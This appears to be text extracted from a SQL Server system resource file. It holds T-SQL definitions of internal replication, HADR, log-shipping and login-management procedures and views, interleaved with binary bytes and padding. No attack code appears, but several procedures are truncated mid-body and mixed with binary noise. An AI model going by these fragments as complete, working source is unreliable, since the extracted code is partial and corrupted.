	-- The procedure sys.sp_MSupdatecachedpeerlsn failed to UPDATE the resource MScached_peer_lsns Server error =  21499.
	raiserror (21499, 16, -1, 'sys.sp_MSupdatecachedpeerlsn', 'UPDATE', 'MScached_peer_lsns', @@error)
   	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`M	<
	*{D0= 8CREATE view sys.dm_hadr_database_replica_states
as
	SELECT 
		drs.database_id as database_id,
		drs.group_id as group_id,
		drs.replica_id as replica_id,
		drs.group_database_id as group_database_id,
		drs.is_local as is_local,
		drs.synchronization_state as synchronization_state,
		drs.synchronization_state_desc as synchronization_state_desc,
		drs.is_commit_participant as is_commit_participant,
		drs.synchronization_health as synchronization_health,
		drs.synchronization_health_desc as synchronization_health_desc,
		drs.database_state as database_state,
		st.name as database_state_desc,
		drs.is_suspended as is_suspended,
		drs.suspend_reason as suspend_reason,
		drs.suspend_reason_desc as suspend_reason_desc,
		drs.recovery_lsn as recovery_lsn,
		drs.truncation_lsn as truncation_lsn,
		drs.last_sent_lsn as last_sent_lsn,
		drs.last_sent_time as last_sent_time,
		drs.last_received_lsn as last_received_lsn,
		drs.last_received_time as last_received_time,
		drs.last_hardened_lsn as last_hardened_lsn,
		drs.last_hardened_time as last_hardened_time,
		drs.last_redone_lsn as last_redone_lsn,
		drs.last_redone_time as last_redone_time,
		drs.log_send_queue_size as log_send_queue_size,
		drs.log_send_rate as log_send_rate,
		drs.redo_queue_size as redo_queue_size,
		drs.redo_rate as redo_rate,
		drs.filestream_send_rate as filestream_send_rate,
		drs.end_of_log_lsn as end_of_log_lsn,
		drs.last_commit_lsn as last_commit_lsn,
		drs.last_commit_time as last_commit_time,
		drs.ghost_cleanup_fence as low_water_mark_for_ghosts
	FROM OpenRowset(TABLE DM_HADR_DATABASE_REPLICA_STATES) drs
		LEFT JOIN sys.syspalvalues st ON st.class = 'DBST' AND st.value = drs.database_state
0;* 8
create procedure sys.sp_oledb_language
as
    select
        'English','us_english'

    union

    select
        alias,name
    from
        sys.syslanguages
0w D8h{0
 D8/mh!	5"	0<" 8CREATE PROCEDURE sys.sp_MSdrop_distribution_agentid 
(
    @agent_id int
) 
AS
begin
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @name           nvarchar(100)
    DECLARE @publisher      sysname
    DECLARE @publisher_db   sysname
    DECLARE @publication    sysname
    
    SELECT @name = name, @publisher = srvname, @publisher_db = publisher_db, @publication = publication FROM 
        MSdistribution_agents, master.dbo.sysservers WHERE 
        id = @agent_id and
        srvid = publisher_id
    
    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Distribution", @name)
	
    -- In case this was a PeerToPeer agent, delete all the cached PeerToPeer info
    DELETE FROM MScached_peer_lsns WHERE agent_id=@agent_id
   	IF @@ERROR <> 0 
        return 1
        
    -- Remove agent entry
    DELETE MSdistribution_agents WHERE id = @agent_id
    IF @@ERROR <> 0 
        return 1

    return 0
end
0D
1@ v8CREATE view sys.dm_fts_memory_pools
AS
	SELECT * FROM OpenRowset(TABLE FTMEMPOOLS)
0 {8create procedure sys.sp_MSgetmaxsnapshottimestamp
(
	@agent_id 	int = NULL,
	@timestamp	timestamp output
)
as
	set nocount on
	
	declare @retcode 			tinyint

    -- this proc is called over the admin link
    if (is_srvrolemember('sysadmin') <> 1)
    begin
		raiserror (14126, 11, -1)
        return (1)
    end

    -- Has to be executed from distribution database
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
    	raiserror (21482, 16, -1, 'sp_MSgetmaxsnapshottimestamp', 'distribution')
    	return 1
    end

    if @agent_id is NULL
    begin
        select @timestamp = max(timestamp) from MSsnapshot_history 
    end
    else
    begin
        select @timestamp = max(timestamp) from MSsnapshot_history where agent_id = @agent_id
    end

    if @timestamp is NULL
	    select @timestamp = 0x00000
    
0 @ d8create procedure sys.sp_help_log_shipping_alert_job 
as
begin
    set nocount on
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- return resultset
    --
    select alert_job_id from msdb.dbo.log_shipping_monitor_alert
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!RA
`<	;M4SC0
@ 8
create procedure sys.sp_ddopen;13
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),  -- @table_name
    @p2             nvarchar(774),  -- @table_owner
    @p3             nvarchar(774),  -- @table_qualifier
    @p4             nvarchar(774),  -- @table_type
    @fUsePattern    bit -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret            int

    create table #sptableswc
    (
        TABLE_QUALIFIER sysname collate catalog_default null,
        TABLE_OWNER sysname collate catalog_default null,
        TABLE_NAME sysname collate catalog_default null,
        TABLE_TYPE varchar(254) collate catalog_default null,
        REMARKS varchar(254) collate catalog_default null
    )

    exec sys.sp_tableswc @p1, @p2, @p3, @p4, @fUsePattern, 1

    exec @ret = sp_cursoropen @handle output,
        'select * from #sptableswc',
        @scrollopt output, @ccopt output, @rows output

    drop table #sptableswc

    return @ret
07 C8CREATE PROCEDURE sys.sp_MSget_repl_cmds_anonymous
(
    @agent_id int,
    @last_xact_seqno varbinary(16),
    @no_init_sync bit = 0,
    @get_count tinyint = 0,
    @compatibility_level int = 7000000
)
as
begin
   set nocount on

   declare @virtual_agent_id int    /* virtual sub agent id */
            ,@anonymous_agent_id int  /* virtual anonymous agent id */
            ,@retcode int

    -- Note @agent_id will be overwritten later.
    select  @virtual_agent_id =   virtual_agent_id,
            @anonymous_agent_id = anonymous_agent_id
        from MSdistribution_agents where
            id = @agent_id
    
    -- Return error if agent entry does not exists (being deleted).
    if @virtual_agent_id is null
    begin
        raiserror(21072, 16, -1)
        return(1)
    end

    -- If no init sync, use anonymous account to start immediately.
    -- If first time or right after reinit,  use virtual account. 
    -- otherwise use virtual anonymous account
    if  @no_init_sync = 1 
        select @agent_id = @anonymous_agent_id
    else if @last_xact_seqno = 0x00 
        select @agent_id = @virtual_agent_id
    else
        select @agent_id = @anonymous_agent_id
    --
    -- Call main procedure to get commands
    -- PAL security check done inside this sp
    --
    exec @retcode = sys.sp_MSget_repl_commands 
        @agent_id = @agent_id,
        @last_xact_seqno = @last_xact_seqno,
        @get_count = @get_count,
        @compatibility_level = @compatibility_level

    return @retcode
end
0Α 	8create procedure sys.sp_MSmerge_log_identity_range_allocations
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @article sysname,
    @subscriber sysname,
    @subscriber_db sysname,
    @is_pub_range bit,
    @ranges_allocated tinyint, 
    @range_begin numeric(38,0),
    @range_end numeric(38,0),
    @next_range_begin numeric(38,0),
    @next_range_end numeric(38,0)
)
as
    set nocount on

    declare @retcode tinyint
    declare @max_used numeric(38,0)
    declare @publisher_id int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    -- Has to be executed from distribution database
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_MSmerge_log_identity_range_allocation', 'distribution')
        return 1
    end

    select @publisher_id = srvid
        from master..sysservers
        where upper(srvname) = upper(@publisher)
    if @publisher_id is NULL
    begin
        -- Publisher @publisher does not exist.
        raiserror(21618, 16, -1, @publisher)
        return 1
    end

    -- we cannot allocate 0 ranges or call this proc with range_end begin NULL
    if @ranges_allocated = 0 or @ranges_allocated is NULL or @range_end is NULL
    begin
        raiserror(20710, 16, -1, @publisher, @publisher_db, @publication, @article)
        return 1
    end

    if @next_range_end is NULL
        select @max_used = @range_end
    else
        select @max_used = @next_range_end
        
    -- insert the passed in information into the table
    insert into dbo.MSmerge_identity_range_allocations 
        (publisher_id, publisher_db, publication, article, subscriber, subscriber_db, 
         is_pub_range, ranges_allocated, range_begin, range_end, next_range_begin, next_range_end, max_used)
    values
        (@publisher_id, @publisher_db, @publication, @article, @subscriber, @subscriber_db, 
         @is_pub_range, @ranges_allocated, @range_begin, @range_end, @next_range_begin, @next_range_end, @max_used)

    if @@error<>0 
        return 1

    return 0
    
0" r8create function sys.fn_MSmerge_mightneedrowtrackbcp (@pubid uniqueidentifier)
returns bit
as
begin
    if exists(select * from dbo.sysmergepublications
                where pubid=@pubid and 
                      allow_anonymous=1 and
                      sync_mode=1)
    begin
        return 1
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ot_agent
-- 
-- Description: 
--		Retrieves snapshot agent information.
--
-- Parameters: 
--		See the procedure definition.
--
-- Returns: 
--		0 - succeeded
--		1 - failed
--
-- Result: 
--		None
--
-- Security: 
--
--	This procedure can only be called by replication_agent. It must
--	be executed in the distribution db and the caller must have the
--	following:
--
--		Min Requirement
--		---------------------
--		DBO Distribution DBO
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MShelp_snapshot_agent
(
	@agent_id int
)
as
begin
	declare @retcode 					int,
			@publisher					sysname,
			@publisher_security_mode 	int,
			@publisher_login 			sysname,
			@publisher_password 		nvarchar(524)

	-- 
	-- make sure this is a replication agent.
	-- if sessionproperty('replication_agent') != 1
	-- begin
	-- 	-- "You do not have sufficient permission to run this command."
	-- 	raiserror(14260, 16, -1)
	-- 	return 1 
	-- end
	-- 
	
	-- sysadmin or db_owner have access
	if is_srvrolemember('sysadmin') != 1 
		and is_member('db_owner') != 1
	begin
		-- "You do not have sufficient permission to run this command."
		raiserror(14260, 16, -1)
    	return 1
    end
	
    -- retrieve the publisher server and database name
	select mssa.publisher_security_mode,
			mssa.publisher_login,
			sys.fn_repldecryptver4(mssa.publisher_password)
		from MSsnapshot_agents mssa
		where mssa.id = @agent_id
	if @@error <> 0 return 1

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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giname   sysname,	-- login name
    @defdb      sysname     -- default db
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)
	declare @ret	int    -- return value of sp call

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_defaultdb')
		return (1)
	end

    -- VALIDATE LOGIN NAME:
	execute @ret = sys.sp_validname @loginame
	if (@ret <> 0)
        return (1)

    -- VALIDATE DATABASE NAME --
	if @defdb is null
	begin
		raiserror(15010,-1,-1,@defdb)
		return (1)
	end

	BEGIN TRANSACTION
		-- LOCK LOGIN --
	EXEC %%LocalLogin(Name = @loginame).Lock(Exclusive = 0)

    -- ADD ROW FOR NT LOGIN IF NEEDED --
	if @@error <> 0	-- not found
    begin
        execute @ret = sys.sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
	    begin
			ROLLBACK TRANSACTION
		    raiserror(15007,-1,-1,@loginame)
		    return (1)
	    end
		-- login locked
    end

    -- CHANGE DEFAULT DATABASE --
	set @exec_stmt = 'alter login ' + quotename(@loginame) +
				' with default_database = ' + quotename(@defdb)

	exec (@exec_stmt)

	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end

    COMMIT TRANSACTION

    -- RETURN SUCCESS --
	return (0) -- sp_defaultdb
09b a8create procedure sys.sp_dbcmptlevel			-- 1997/04/15
	@dbname sysname = NULL,					-- database name to change
	@new_cmptlevel tinyint = NULL OUTPUT	-- the new compatibility level to change to
as
	set nocount    on

	declare @exec_stmt nvarchar(max)
	declare @returncode	int
	declare @comptlevel	float(8)
	declare @dbid int					-- dbid of the database
	declare @dbsid varbinary(85)		-- id of the owner of the database
	declare @orig_cmptlevel tinyint		-- original compatibility level
	declare @input_cmptlevel tinyint	-- compatibility level passed in by user
		,@cmptlvl90 tinyint				-- compatibility to SQL Server Version 9.0
		,@cmptlvl100 tinyint				-- compatibility to SQL Server Version 10.0
		,@cmptlvl110 tinyint				-- compatibility to SQL Server Version 11.0
	select  @cmptlvl90 = 90,
			@cmptlvl100 = 100,
			@cmptlvl110 = 110

	-- SP MUST BE CALLED AT ADHOC LEVEL --
	if (@@nestlevel > 1)
	begin
		raiserror(15432,-1,-1,'sys.sp_dbcmptlevel')
		return (1)
	end

	-- If no @dbname given, just list the valid compatibility level values.
	if @dbname is null
	begin
	   raiserror (15048, -1, -1, @cmptlvl90, @cmptlvl100, @cmptlvl110)
	   return (0)
	end

	--  Verify the database name and get info
	select @dbid = dbid, @dbsid = sid ,@orig_cmptlevel = cmptlevel
		from master.dbo.sysdatabases
		where name = @dbname

	--  If @dbname not found, say so and list the databases.
	if @dbid is null
	begin
		raiserror(15010,-1,-1,@dbname)
		print ' '
		select name as 'Available databases:'
			from master.dbo.sysdatabases
		return (1)
	end

	-- Now save the input compatibility level and initialize the return clevel
	-- to be the current clevel
	select @input_cmptlevel = @new_cmptlevel
	select @new_cmptlevel = @orig_cmptlevel

	-- If no clevel was supplied, display and output current level.
	if @input_cmptlevel is null
	begin
		raiserror(15054, -1, -1, @orig_cmptlevel)
		return(0)
	end

	-- If invalid clevel given, print usage and return error code
	-- 'usage: sp_dbcmptlevel [dbname [, compatibilitylevel]]'
	if @input_cmptlevel not in (@cmptlvl90, @cmptlvl100, @cmptlvl110 )
	begin
		raiserror(15416, -1, -1)
		print ' '
		raiserror (15048, -1, -1, @cmptlvl90, @cmptlvl100, @cmptlvl110)
		return (1)
	end

	--  Only the SA or the dbo of @dbname can execute the update part
	--  of this procedure sys.so check.
	if (not (is_srvrolemember('sysadmin') = 1)) and suser_sid() <> @dbsid
		-- ALSO ALLOW db_owner ONLY IF DB REQUESTED IS CURRENT DB
		and (@dbid <> db_id() or is_member('db_owner') <> 1)
	begin
		raiserror(15418,-1,-1)
		return (1)
	end

	-- If we're in a transaction, disallow this since it might make recovery impossible.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dbcmptlevel')
		return (1)
	end

	set @exec_stmt = 'ALTER DATABASE ' + quotename(@dbname, '[') + ' SET COMPATIBILITY_LEVEL = ' + cast(@input_cmptlevel as nvarchar(128))

	-- Note: database @dbname may not exist anymore
	exec(@exec_stmt)

	select @new_cmptlevel = @input_cmptlevel

	return (0) -- sp_dbcmptlevel
0F 8
create procedure sys.sp_views_rowset
(
    @view_name      sysname,
    @view_schema    sysname = null
)
as
    select
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(a_v.schema_id),
        TABLE_NAME      = a_v.name,
        VIEW_DEFINITION = convert(nvarchar(1),null),
        CHECK_OPTION    = convert(bit, NULL),
        IS_UPDATABLE    = convert(bit, NULL),
        DESCRIPTION     = convert(nvarchar(1),null),
        DATE_CREATED    = a_v.create_date,
        DATE_MODIFIED   = convert(datetime,null)
    from
        sys.all_views a_v
    where
        (
            (@view_schema is null and a_v.name = @view_name) or
            object_id(quotename(@view_schema) + '.' + quotename(@view_name)) = a_v.object_id
        ) and
        has_perms_by_name(quotename(schema_name(a_v.schema_id)) + '.' + quotename(@view_name),
                          'object',
                          'select') = 1
    order by 1, 2, 3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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rvrole
	@srvrolename		sysname = NULL
AS
	if @srvrolename is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from master.dbo.spt_values
				where name = @srvrolename and low = 0 and type = 'SRV')
		begin
			raiserror(15412, -1, -1, @srvrolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE SERVER-ROLE
		-- UNDONE: REMOVE THE "Description" OUTPUT (should be BOL only)
		select 'ServerRole' = v1.name, 'Description' = v2.name
			from master.dbo.spt_values v1, master.dbo.spt_values v2
			where v1.name = @srvrolename and
				  v1.low = 0 and
				  v1.type = 'SRV' and
				  v2.low = -1 and
				  v2.type = 'SRV' and
				  v1.number = v2.number
	end
	else
	begin
		-- RESULT SET FOR ALL SERVER-ROLES
		-- UNDONE: REMOVE THE "Description" OUTPUT (should be BOL only)
		select 'ServerRole' = v1.name, 'Description' = v2.name
			from master.dbo.spt_values v1, master.dbo.spt_values v2
			where v1.low = 0 and
				  v1.type = 'SRV' and
				  v2.low = -1 and
				  v2.type = 'SRV' and
				  v1.number = v2.number
	end

    return (0) -- sp_helpsrvrole
0 8
--
-- Name: 
--		sp_MSchange_distribution_agent_properties
-- 
-- Description: 
--		Update distribution agent properties..
--
-- Parameters: 
--	 	See the procedure definition.
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		SA
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSchange_distribution_agent_properties
(
	@publisher 		sysname,
	@publisher_db	sysname,
	@publication	sysname,
	@subscriber		sysname,
	@subscriber_db	sysname,
	@property		sysname,
	@value			nvarchar(524)	-- if a password it should NOT be encrypted
)
as
begin
	set nocount on 

	declare @retcode 		int,
			@publisher_id	int,
			@subscriber_id	int,
			@agent_id		int,
			@security_mode 	smallint,
			@job_id			uniqueidentifier,
			@job_step_uid	uniqueidentifier
	
	-- should only be called by the admin link
	if is_srvrolemember('sysadmin') <> 1
	begin
		raiserror (14126, 16, -1)
		return 1 
	end
	
	-- retrieve server ids
	select @publisher_id = srvid
		from master..sysservers
		where upper(srvname) = upper(@publisher)
	
	select @subscriber_id = srvid
		from master..sysservers
		where upper(srvname) = upper(@subscriber)
		
	-- retrieve the agent id
	select @agent_id = id,
			@job_id = convert(uniqueidentifier, job_id),
			@job_step_uid = job_step_uid
		from MSdistribution_agents
		where publisher_id = @publisher_id
			and publisher_db = @publisher_db
			and (publication = @publication
					or lower(publication) = N'all')
			and subscriber_id = @subscriber_id
			and subscriber_db = @subscriber_db

	-- retrieve the job_step_uid if not set
    if @job_id is NOT NULL
    	and @job_step_uid is NULL
    begin
		select @job_step_uid = sjs.step_uid
		from msdb.dbo.sysjobs_view as sjv 
			join msdb.dbo.sysjobsteps as sjs 
				on sjv.job_id = sjs.job_id 
		where sjv.job_id = @job_id
			and sjv.master_server = 0
			and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
			and sjv.category_id = 10
			and sjs.subsystem = 'Distribution' 
			and sjs.database_name = db_name()
    end
    
	-- if the property is not in the list we return an error at the end
	select @property = lower(rtrim(ltrim(@property)))

	begin transaction tr_sp_change_dist_agent
	save transaction tr_sp_change_dist_agent
	
	-- update the agents table
	if @property = N'subscriber_security_mode'
	begin
		if isnumeric(@value) = 0
		begin
			-- '@value' is not a valid value for the 'subscriber_security_mode' parameter. The value must be 0 or 1.
			raiserror (21406, 16, -1, @value, @property)
			goto FAILURE
		end
		
		select @security_mode = cast(@value as smallint)

		if @security_mode = 1
		begin
			select @value = newid()
			
			-- must encrypt it prior to update
			exec @retcode = sys.sp_MSreplencrypt @value OUTPUT
	    	if @@error <> 0 or @retcode <> 0
	    		goto FAILURE
	    		
			update MSdistribution_agents 
				set subscriber_security_mode = 1,
					subscriber_login = N'',
					subscriber_password = @value
				where id = @agent_id
			if @@error <> 0
				goto FAILURE
		end
		else if @security_mode = 0
		begin
			update MSdistribution_agents 
				set subscriber_security_mode = 0
				where id = @agent_id
			if @@error <> 0
				goto FAILURE
		end
		else
		begin
			-- "'@value' is not a valid value for the '@property' parameter. The value must be 0 or 1."
			raiserror (21406, 16, -1, @value, @property)
			goto FAILURE
		end
	end
	else if @property = N'subscriber_login' 
	begin
		update MSdistribution_agents 
			set subscriber_login = @value 
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'subscriber_password' 
	begin
		-- must encrypt it prior to update
		exec @retcode = sys.sp_MSreplencrypt @value OUTPUT
    	if @@error <> 0 or @retcode <> 0
    		goto FAILURE

		-- password provided to this procedure should already be encrypted
		update MSdistribution_agents 
			set subscriber_password = @value
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'distrib_job_login'
	begin
		-- update the Proxy Account login
		exec @retcode = sys.sp_MSchange_repl_job @id = @job_id,
												@step_uid = @job_step_uid,
												@login = @value
		if @@error != 0 or @retcode != 0
			goto FAILURE
	end
	else if @property = N'distrib_job_password'
	begin
		-- update the Proxy Account password
		exec @retcode = sys.sp_MSchange_repl_job @id = @job_id,
												@step_uid = @job_step_uid,
												@password = @value
		if @@error != 0 or @retcode != 0
			goto FAILURE
	end
	else if @property = N'subscriptionstreams'
	begin
		declare @subscriptionstreams tinyint
		set @subscriptionstreams = cast (@value as tinyint)
		if (@subscriptionstreams < 1 or @subscriptionstreams > 64)
		begin
			RAISERROR(14198, 16, -1, '@subscriptionstreams', '1..64')
			goto FAILURE
		end
		update MSdistribution_agents 
			set subscriptionstreams = @subscriptionstreams
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'subscriber_type'
	begin
		declare @subscriber_type tinyint
		set @subscriber_type = cast (@value as tinyint)
		if @subscriber_type NOT IN ( 0, 1, 3)
		begin
			RAISERROR(14197, 16, -1, '@subscriber_type', '0, 1, 3')
			goto FAILURE
		end
		update MSdistribution_agents 
			set subscriber_type = @subscriber_type
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'subscriber_provider'
	begin
		update MSdistribution_agents 
			set subscriber_provider = @value 
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'subscriber_datasource'
	begin
		update MSdistribution_agents 
			set subscriber_datasrc = @value 
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'subscriber_providerstring'
	begin
		update MSdistribution_agents 
			set subscriber_provider_string = @value 
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'subscriber_location'
	begin
		update MSdistribution_agents 
			set subscriber_location = @value 
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else if @property = N'subscriber_catalog'
	begin
		update MSdistribution_agents 
			set subscriber_catalog = @value 
			where id = @agent_id
		if @@error <> 0
			goto FAILURE
	end
	else
	begin
		-- "Invalid property name '@property'."
		raiserror (21348, 16, -1, @property)
		goto FAILURE
	end

	commit transaction tr_sp_change_dist_agent

	return 0
	
FAILURE:
	rollback transaction tr_sp_change_dist_agent
	commit transaction tr_sp_change_dist_agent

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`	t<	j*}0 8
--
-- Name:    
--          sp_IHisallreplcolpk
--          
-- Description: 
--          Query to see if all replicated columns are in the primary key
--  
-- Security: 
--          Internal
--
-- Returns:
--          1 == all columns in the primary key
--			0 == all columns are not in the primary key
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHisallreplcolpk
(
	@artid int
)
as
begin
    declare @pkcount  int
    declare @colcount int

    SELECT	@colcount = COUNT(*)
    FROM	IHcolumns
    WHERE	@artid = article_id

    SELECT	@pkcount = COUNT(*)
    FROM	IHcolumns ihc,
